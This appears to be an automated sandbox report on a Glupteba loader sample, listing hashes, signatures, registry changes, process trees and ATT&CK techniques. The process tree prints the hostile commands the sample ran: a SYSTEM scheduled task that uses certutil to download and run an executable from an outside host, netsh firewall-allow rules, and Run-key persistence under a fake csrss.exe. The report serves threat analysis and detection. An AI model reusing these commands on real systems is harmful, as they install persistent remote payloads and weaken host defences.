glupteba | e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76

General

Target

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Size

3.9MB
MD5

36b916eede950172b262c888b1e82a72
SHA1

7cacba9f2eaff7584cf6c06c8f5b23853e77cc79
SHA256

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76
SHA512

ffddad17c0879e317b09e72482710e10d72d4b6aae948661d43a34488e4f1ef098b84292da6ef8eb62dbdaa4327f53fbde9ed5eb8c2ac9087cb1cf8de5332115

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 6 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4676-131-0x0000000007230000-0x000000000792C000-memory.dmp	family_glupteba
behavioral2/memory/4676-132-0x0000000000400000-0x000000000515F000-memory.dmp	family_glupteba
behavioral2/memory/1664-135-0x0000000007150000-0x000000000784C000-memory.dmp	family_glupteba
behavioral2/memory/1664-136-0x0000000000400000-0x000000000515F000-memory.dmp	family_glupteba
behavioral2/memory/3952-145-0x0000000007800000-0x0000000007EFC000-memory.dmp	family_glupteba
behavioral2/memory/3952-146-0x0000000000400000-0x000000000515F000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4528 created 4676	4528	svchost.exe	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
PID 4528 created 3952	4528	svchost.exe	csrss.exe
PID 4528 created 3952	4528	svchost.exe	csrss.exe
PID 4528 created 3952	4528	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

3952 csrss.exe
2492 patch.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
3952	csrss.exe
2492	patch.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EmptyMorning = "\"C:\\Windows\\rss\\csrss.exe\""	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2876 bcdedit.exe

pid	process
2876	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

description	ioc	process
File opened for modification	C:\Windows\rss	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
File created	C:\Windows\rss\csrss.exe	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
3716	4676	WerFault.exe	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
4768	1664	WerFault.exe	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1616 schtasks.exe
2348 schtasks.exe

pid	process
1616	schtasks.exe
2348	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exee8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.execsrss.exe

pid	process
4676	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
4676	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
3952	csrss.exe
3952	csrss.exe
3952	csrss.exe
3952	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4676	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Token: SeImpersonatePrivilege	4676	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Token: SeTcbPrivilege	4528	svchost.exe
Token: SeTcbPrivilege	4528	svchost.exe
Token: SeBackupPrivilege	4528	svchost.exe
Token: SeRestorePrivilege	4528	svchost.exe
Token: SeBackupPrivilege	4528	svchost.exe
Token: SeRestorePrivilege	4528	svchost.exe
Token: SeSystemEnvironmentPrivilege	3952	csrss.exe
Token: SeBackupPrivilege	4528	svchost.exe
Token: SeRestorePrivilege	4528	svchost.exe
Token: SeBackupPrivilege	4528	svchost.exe
Token: SeRestorePrivilege	4528	svchost.exe
Token: SeBackupPrivilege	4528	svchost.exe
Token: SeRestorePrivilege	4528	svchost.exe
Token: SeBackupPrivilege	4528	svchost.exe
Token: SeRestorePrivilege	4528	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exee8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 4528 wrote to memory of 1664	4528	svchost.exe	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
PID 4528 wrote to memory of 1664	4528	svchost.exe	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
PID 4528 wrote to memory of 1664	4528	svchost.exe	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
PID 1664 wrote to memory of 2696	1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 1664 wrote to memory of 2696	1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 2696 wrote to memory of 5080	2696	cmd.exe	netsh.exe
PID 2696 wrote to memory of 5080	2696	cmd.exe	netsh.exe
PID 1664 wrote to memory of 1932	1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 1664 wrote to memory of 1932	1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 1932 wrote to memory of 3544	1932	cmd.exe	netsh.exe
PID 1932 wrote to memory of 3544	1932	cmd.exe	netsh.exe
PID 1664 wrote to memory of 3952	1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	csrss.exe
PID 1664 wrote to memory of 3952	1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	csrss.exe
PID 1664 wrote to memory of 3952	1664	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	csrss.exe
PID 4528 wrote to memory of 2348	4528	svchost.exe	schtasks.exe
PID 4528 wrote to memory of 2348	4528	svchost.exe	schtasks.exe
PID 4528 wrote to memory of 1616	4528	svchost.exe	schtasks.exe
PID 4528 wrote to memory of 1616	4528	svchost.exe	schtasks.exe
PID 4528 wrote to memory of 2492	4528	svchost.exe	patch.exe
PID 4528 wrote to memory of 2492	4528	svchost.exe	patch.exe
PID 3952 wrote to memory of 2876	3952	csrss.exe	bcdedit.exe
PID 3952 wrote to memory of 2876	3952	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
"C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4676

C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
"C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:5080

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1932

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes
4⤵
PID:3544

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3952

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2348

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1616

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2492

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1664 -s 752
3⤵
- Program crash
PID:4768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4676 -s 816
2⤵
- Program crash
PID:3716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4676 -ip 4676
1⤵
PID:1580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1664 -ip 1664
1⤵
PID:1508

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
36b916eede950172b262c888b1e82a72

SHA1
7cacba9f2eaff7584cf6c06c8f5b23853e77cc79

SHA256
e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76

SHA512
ffddad17c0879e317b09e72482710e10d72d4b6aae948661d43a34488e4f1ef098b84292da6ef8eb62dbdaa4327f53fbde9ed5eb8c2ac9087cb1cf8de5332115

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
36b916eede950172b262c888b1e82a72

SHA1
7cacba9f2eaff7584cf6c06c8f5b23853e77cc79

SHA256
e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76

SHA512
ffddad17c0879e317b09e72482710e10d72d4b6aae948661d43a34488e4f1ef098b84292da6ef8eb62dbdaa4327f53fbde9ed5eb8c2ac9087cb1cf8de5332115

Download Submit
memory/1616-148-0x0000000000000000-mapping.dmp

Download
memory/1664-136-0x0000000000400000-0x000000000515F000-memory.dmp

Filesize
77.4MB

Download
memory/1664-135-0x0000000007150000-0x000000000784C000-memory.dmp

Filesize
7.0MB

Download
memory/1664-134-0x0000000006DA4000-0x000000000714D000-memory.dmp

Filesize
3.7MB

Download
memory/1664-133-0x0000000000000000-mapping.dmp

Download
memory/1932-139-0x0000000000000000-mapping.dmp

Download
memory/2348-147-0x0000000000000000-mapping.dmp

Download
memory/2492-149-0x0000000000000000-mapping.dmp

Download
memory/2696-137-0x0000000000000000-mapping.dmp

Download
memory/2876-151-0x0000000000000000-mapping.dmp

Download
memory/3544-140-0x0000000000000000-mapping.dmp

Download
memory/3952-144-0x0000000007400000-0x00000000077A9000-memory.dmp

Filesize
3.7MB

Download
memory/3952-145-0x0000000007800000-0x0000000007EFC000-memory.dmp

Filesize
7.0MB

Download
memory/3952-146-0x0000000000400000-0x000000000515F000-memory.dmp

Filesize
77.4MB

Download
memory/3952-141-0x0000000000000000-mapping.dmp

Download
memory/4676-130-0x0000000006E7E000-0x0000000007227000-memory.dmp

Filesize
3.7MB

Download
memory/4676-132-0x0000000000400000-0x000000000515F000-memory.dmp

Filesize
77.4MB

Download
memory/4676-131-0x0000000007230000-0x000000000792C000-memory.dmp

Filesize
7.0MB

Download
memory/5080-138-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads